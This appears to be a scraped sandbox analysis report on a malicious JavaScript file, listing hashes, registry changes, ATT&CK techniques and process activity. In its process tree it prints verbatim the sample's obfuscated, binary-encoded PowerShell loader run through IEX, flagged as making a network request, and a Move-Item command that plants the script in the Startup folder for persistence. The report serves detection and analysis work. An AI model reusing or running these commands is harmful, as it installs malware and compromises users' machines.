bc6a296827648a8910d8255e478b8da2db89e18a923cb821f71c4ae9d79be865

General

Target

js (1).js
Size

1KB
MD5

3ceca6568cb5b3b54291b909cd848dee
SHA1

a3c5981bf19d1f75cdbdd06d9ff82b7ea6bb78c7
SHA256

bc6a296827648a8910d8255e478b8da2db89e18a923cb821f71c4ae9d79be865
SHA512

fecf62583a606f87ddaf5ff9d542889a6f35b833cca37a943ff397413fa75eb53ffdc988760c46da8895b51e0262aadd10d17ef0fedc8318cb43cced4024ebaa

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

10 1896 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

flow	pid	process
10	1896	powershell.exe

Modifies Internet Explorer settings 1 TTPs 35 IoCs

adware spyware

Modify Registry

T1112

Processes:

iexplore.exeIEXPLORE.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000d84d099cd4771441b699aaaf614a75db000000000200000000001066000000010000200000000d17746064640092a54726a97de4589c3ff25093b1ff136203d3698907e8b165000000000e8000000002000020000000cc19e02dfb8165ac17b5dc16619370de9a7541770460f1d4f35f613bee92f461200000006d51a39c2541690a4a9b4dbd3add918e500afdd6230bf7a14923855f21c459834000000081d03e45d73dff601d2eaafe82b6eb311528e9d3eed0e61e696f0213230298b8d02e7270ca100666b7bc09fa72a74110501d77f4bf6525d20c8398f7f6de55c6	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000d84d099cd4771441b699aaaf614a75db000000000200000000001066000000010000200000006eba6ba298fe71b0d88cd1530eeac9c8e0ebfbaf8b050a503f6c6884acc28861000000000e8000000002000020000000983c8898af340de175805bf014b8ecb7baa1e52e96a49cb8efe6cf34bf93345c900000009462138bea525bc1d75c9d5676c7c0865241e415f0a650950ff48af513a219942a9dcb41ef75d4bf97c872601777a852df98f16255da7deb5d8b7ff8607c09bdda8db8c89c6ebbe21ef8395e6d5d9f9cba68fea52b998c017a9f482b2a7938bb100675e01f4bdeebdf117a44091cfddb9cfdfa0968ba6251df67282f3df1efb0e476c23378440dc3c70baeda86a8626e40000000ba34f934bdc030a66998b5be5179cfdd8324127071b067f1a33124c86c40399a5cbef0c29da2e2e180fa340691136a33ffb5eeba7eac8ccee2d4a466d6c211cd	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "376712587"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{D95C43C1-71E7-11ED-A03D-460E09B1FADA} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = a05e0eb4f405d901	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exepowershell.exe

pid process

1896 powershell.exe
836 powershell.exe
Suspicious behavior: RenamesItself 1 IoCs

Processes:

powershell.exe

pid process

836 powershell.exe

pid	process
1896	powershell.exe
836	powershell.exe

pid	process
836	powershell.exe

Suspicious use of AdjustPrivilegeToken 22 IoCs

Processes:

powershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	1896	powershell.exe
Token: SeDebugPrivilege	836	powershell.exe
Token: SeIncreaseQuotaPrivilege	1896	powershell.exe
Token: SeSecurityPrivilege	1896	powershell.exe
Token: SeTakeOwnershipPrivilege	1896	powershell.exe
Token: SeLoadDriverPrivilege	1896	powershell.exe
Token: SeSystemProfilePrivilege	1896	powershell.exe
Token: SeSystemtimePrivilege	1896	powershell.exe
Token: SeProfSingleProcessPrivilege	1896	powershell.exe
Token: SeIncBasePriorityPrivilege	1896	powershell.exe
Token: SeCreatePagefilePrivilege	1896	powershell.exe
Token: SeBackupPrivilege	1896	powershell.exe
Token: SeRestorePrivilege	1896	powershell.exe
Token: SeShutdownPrivilege	1896	powershell.exe
Token: SeDebugPrivilege	1896	powershell.exe
Token: SeSystemEnvironmentPrivilege	1896	powershell.exe
Token: SeRemoteShutdownPrivilege	1896	powershell.exe
Token: SeUndockPrivilege	1896	powershell.exe
Token: SeManageVolumePrivilege	1896	powershell.exe
Token: 33	1896	powershell.exe
Token: 34	1896	powershell.exe
Token: 35	1896	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

iexplore.exe

pid process

276 iexplore.exe
Suspicious use of SetWindowsHookEx 4 IoCs

Processes:

iexplore.exeIEXPLORE.EXE

pid process

276 iexplore.exe
276 iexplore.exe
320 IEXPLORE.EXE
320 IEXPLORE.EXE

pid	process
276	iexplore.exe

pid	process
276	iexplore.exe
276	iexplore.exe
320	IEXPLORE.EXE
320	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 10 IoCs

Processes:

iexplore.exewscript.exe

description	pid	process	target process
PID 276 wrote to memory of 320	276	iexplore.exe	IEXPLORE.EXE
PID 276 wrote to memory of 320	276	iexplore.exe	IEXPLORE.EXE
PID 276 wrote to memory of 320	276	iexplore.exe	IEXPLORE.EXE
PID 276 wrote to memory of 320	276	iexplore.exe	IEXPLORE.EXE
PID 1492 wrote to memory of 1896	1492	wscript.exe	powershell.exe
PID 1492 wrote to memory of 1896	1492	wscript.exe	powershell.exe
PID 1492 wrote to memory of 1896	1492	wscript.exe	powershell.exe
PID 1492 wrote to memory of 836	1492	wscript.exe	powershell.exe
PID 1492 wrote to memory of 836	1492	wscript.exe	powershell.exe
PID 1492 wrote to memory of 836	1492	wscript.exe	powershell.exe

C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\js (1).js"
1⤵
- Suspicious use of WriteProcessMemory
PID:1492

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" function ermkflll { $o00=[char]105 + 'EX';sal P $o00 $gf=('55155155,51555151,51115515,51115515,51151111,51115515,51555551,51155511,51115155,51151551,51151111,51151115,51515555,51115515,51155151,51155115,51155151,51115515,51155151,51151115,51155511,51155151,55155555,55111151,55155555,55155111,51515511,51151551,51151155,51155151,51151115,51115155,51151155,51111551,51555511,51151111,51151115,51115155,51151551,51151115,51115151,51155151,55155111,55111511,55155155,51115155,55115151,55115115,51155115,51155111,55155555,55111151,55155555,51511511,51555151,51151115,51115151,51151151,51511151,55111515,55111515,51515155,51151111,51551111,51155515,51151515,51155151,51155511,51115155,55151555,51511511,51515511,51111551,51115511,51115155,51155151,51151151,55151115,51551115,51155151,51115155,55151115,51515511,51155151,51155511,51115151,51115515,51151551,51115155,51111551,51515555,51115515,51151111,51115155,51151111,51155511,51151111,51151155,51515155,51111551,51115555,51155151,51511151,55151155,55155555,55115511,55115555,55115111,55115515,55151551,55111511,51511511,51515511,51111551,51115511,51115155,51155151,51151151,55151115,51551115,51155151,51115155,55151115,51515511,51155151,51115515,51115115,51151551,51155511,51155151,51515555,51151111,51151551,51151115,51115155,51551151,51155551,51151115,51155551,51155111,51155151,51115515,51511151,55111515,55111515,51515511,51155151,51155511,51115151,51115515,51151551,51115155,51111551,51515555,51115515,51151111,51115155,51151111,51155511,51151111,51151155,55155555,55111151,55155555,55155155,51115155,55115151,55115115,51155115,51155111,55111511,51555551,51155155,51155155,55151151,51515155,51111551,51115555,51155151,55155555,55151151,51555551,51115511,51115511,51155151,51151151,51155515,51151155,51111551,51551115,51155551,51151151,51155151,55155555,51551151,51151551,51155511,51115515,51151111,51115511,51151111,51155115,51115155,55151115,51515115,51151551,51115511,51115151,51155551,51151155,51555515,51155551,51115511,51151551,51155511,55111511,51155155,51151111,55155555,51111511,55155155,51115555,51151551,51151115,51155111,55155555,55111151,55155555,51115155,51155151,51115511,51115155,55151151,51155511,51151111,51151115,51151115,51155151,51155511,51115155,51151551,51151111,51151115,55155555,55151151,51155511,51151111,51151151,51115555,55155555,51155111,51151111,51151111,51155111,51151155,51155151,55151115,51155511,51151111,51151151,55155555,55151151,51155511,51151111,51115151,51151115,51115155,55155555,55115551,55155555,55151151,51515551,51115151,51151551,51155151,51115155,51111151,55155555,51115151,51151115,51115155,51151551,51151155,55155555,55151555,55155155,51115555,51151551,51151115,51155111,55151551,55111511,55155155,51115155,51115155,51111551,55111151,51515555,55151555,55155111,55151555,51551115,51155151,51115111,55151151,55155111,55151511,55155111,51551111,51155515,51151515,51155151,55155111,55151511,55155111,51155511,51115155,55155555,51551115,51155151,55155111,55151511,55155111,51115155,55151115,51515111,51155151,55155111,55151511,55155111,51155515,51555511,51151155,51151551,55155111,55151511,55155111,51155151,51151115,51115155,55151551,55155111,55151551,55111511,55155155,51151151,51115115,55111151,55155555,51511511,51551151,51151551,51155511,51115515,51151111,51115511,51151111,51155115,51115155,55151115,51515115,51151551,51115511,51115151,51155551,51151155,51555515,51155551,51115511,51151551,51155511,55151115,51551551,51151115,51115155,51155151,51115515,51155551,51155511,51115155,51151551,51151111,51151115,51511151,55111515,55111515,51555511,51155551,51151155,51151155,51555515,51111551,51151115,51155551,51151151,51155151,55151555,55155155,51115155,51115155,51111551,55151155,55155111,51555155,51151111,51115111,51151115,55155111,55155555,55151511,55155555,55155111,51151155,51151111,51155551,51155155,55155111,55155555,55151511,55155555,55155111,51515511,51115155,51115515,55155111,55155555,55151511,55155555,55155111,51151551,51151115,51155111,55155111,55151155,51511511,51551151,51151551,51155511,51115515,51151111,51115511,51151111,51155115,51115155,55151115,51515115,51151551,51115511,51115151,51155551,51151155,51555515,51155551,51115511,51151551,51155511,55151115,51555511,51155551,51151155,51151155,51515155,51111551,51115555,51155151,51511151,55111515,55111515,51551151,51155151,51115155,51151555,51151111,51155155,55151155,55155111,51151555,51115155,51115155,51115555,55155111,55155555,55151511,55155555,55155111,55111515,55151111,55151111,51151555,51115551,51151115,51115111,51151555,51155551,55151115,51111555,51111551,51111515,55151111,51151511,51151155,55151111,51151511,51151155,55151111,51151515,51115555,51155111,55155111,55151551,51111155,51515555'.replace('5','0')|IEX) | %{ [System.Text.Encoding]::UTF8.GetString([System.Convert]::ToInt32($_,2)) } (('[syst' + 'em.Str' + 'ing]::Join('''', $gf)')|P)|P } ermkflll
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1896

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Move-Item 'C:\Users\Admin\AppData\Local\Temp\js (1).js' 'C:\Users\Admin\\AppData\\Roaming\\Microsoft\\Windows\Start Menu\Programs\Startup\'
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
PID:836

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
1⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:276

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:276 CREDAT:275457 /prefetch:2
2⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:320

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\81NB5EPL.txt

Filesize
539B

MD5
1b141015103e80228037f20ce4ed7353

SHA1
7be30a403ddec623ce8f8ad1235cf80f4e0add2c

SHA256
b6488627f79b803b13c048050f92abf1b55623470e053c6e016837ca1f6f5077

SHA512
af22afbf137bc3007584295ff370c002c82e254fc1abc3fb6a276a374cbd567285a9e1cf3bbfcb3e6b99fdda4ae4dfe5ff9ac3c64be3c90662b56e697a292beb

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
f862ba880dcfdd9d4b66b82f22d79193

SHA1
60a6fe53795c1a7102332755db859ae3d7a74c81

SHA256
5d8f660f9b757cda9d9dfbad84361c197d13525b14aeb1588bc6db887dd58668

SHA512
4bb5e4adcda272adaefc6394aa5b4d4d38cc2caa297ad0287fe953ab737fa2d00400dd64b6ad7d40e88e0f8dacb14423d42e5c9fdec9e020b68e5e58bccd8da9

Download Submit
memory/836-63-0x000007FEF3190000-0x000007FEF3CED000-memory.dmp

Filesize
11.4MB

Download
memory/836-71-0x0000000002714000-0x0000000002717000-memory.dmp

Filesize
12KB

Download
memory/836-72-0x000000000271B000-0x000000000273A000-memory.dmp

Filesize
124KB

Download
memory/836-62-0x000007FEF49D0000-0x000007FEF53F3000-memory.dmp

Filesize
10.1MB

Download
memory/836-58-0x0000000000000000-mapping.dmp

Download
memory/836-65-0x0000000002714000-0x0000000002717000-memory.dmp

Filesize
12KB

Download
memory/836-70-0x000000000271B000-0x000000000273A000-memory.dmp

Filesize
124KB

Download
memory/836-68-0x000000001B730000-0x000000001BA2F000-memory.dmp

Filesize
3.0MB

Download
memory/1492-54-0x0000000001B50000-0x0000000001B60000-memory.dmp

Filesize
64KB

Download
memory/1492-55-0x000007FEFC5A1000-0x000007FEFC5A3000-memory.dmp

Filesize
8KB

Download
memory/1896-67-0x000000001B6F0000-0x000000001B9EF000-memory.dmp

Filesize
3.0MB

Download
memory/1896-64-0x000007FEF3190000-0x000007FEF3CED000-memory.dmp

Filesize
11.4MB

Download
memory/1896-69-0x000000000287B000-0x000000000289A000-memory.dmp

Filesize
124KB

Download
memory/1896-66-0x0000000002874000-0x0000000002877000-memory.dmp

Filesize
12KB

Download
memory/1896-60-0x000007FEF49D0000-0x000007FEF53F3000-memory.dmp

Filesize
10.1MB

Download
memory/1896-56-0x0000000000000000-mapping.dmp

Download
memory/1896-73-0x0000000002874000-0x0000000002877000-memory.dmp

Filesize
12KB

Download
memory/1896-74-0x000000000287B000-0x000000000289A000-memory.dmp

Filesize
124KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads